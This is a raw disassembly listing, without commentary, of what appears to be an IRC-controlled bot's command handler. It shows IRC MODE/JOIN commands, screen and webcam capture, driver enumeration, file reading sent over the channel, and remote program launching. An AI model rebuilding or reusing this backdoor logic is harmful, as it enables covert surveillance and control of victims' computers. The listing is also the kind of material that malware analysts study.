		push	offset unk_429E64
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40884B


loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_408839
; ---------------------------------------------------------------------------


loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset unk_429E28


loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------


loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429DFC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40894A


loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_408934
; ---------------------------------------------------------------------------


loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		call	near ptr 2690DCCh
		nop
		push	eax
		push	offset dword_429DC0
		jmp	loc_408857
; ---------------------------------------------------------------------------


loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854


loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DA4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------


loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429D88


loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429D80
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D64
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D48
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D20
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 26903FCh
		nop
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D00
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------


loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CE4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA4


loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------


loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------


loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C4C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C30
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429BFC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------


loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BCC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------


loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429B90


loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi


loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFA4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h


loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B38
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------


loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429AD0
		jmp	short loc_408F78
; ---------------------------------------------------------------------------


loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429A98


loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A64
		jmp	loc_40874A
; ---------------------------------------------------------------------------


loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A24
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_4299E4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------


loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299C0
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42999C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_429998 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42996C


loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------


loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429954
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429934
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429918
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429900
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40921A


loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_409204
; ---------------------------------------------------------------------------


loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2690DCCh
		push	eax
		push	offset unk_4298C0


loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298A8
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		call	near ptr 2690448h
		nop
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6


loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 26903FCh
		jmp	short loc_409325
; ---------------------------------------------------------------------------


loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		call	near ptr 26906ADh
		nop
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429868
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------


loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------


loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429844
		jmp	short loc_40939D
; ---------------------------------------------------------------------------


loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429814


loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297C4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]


loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297A4
		push	eax
		call	sub_41B886


loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CAFF8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB000
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------


loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_42977C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429754
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429734
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429710
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_4296E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------


loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
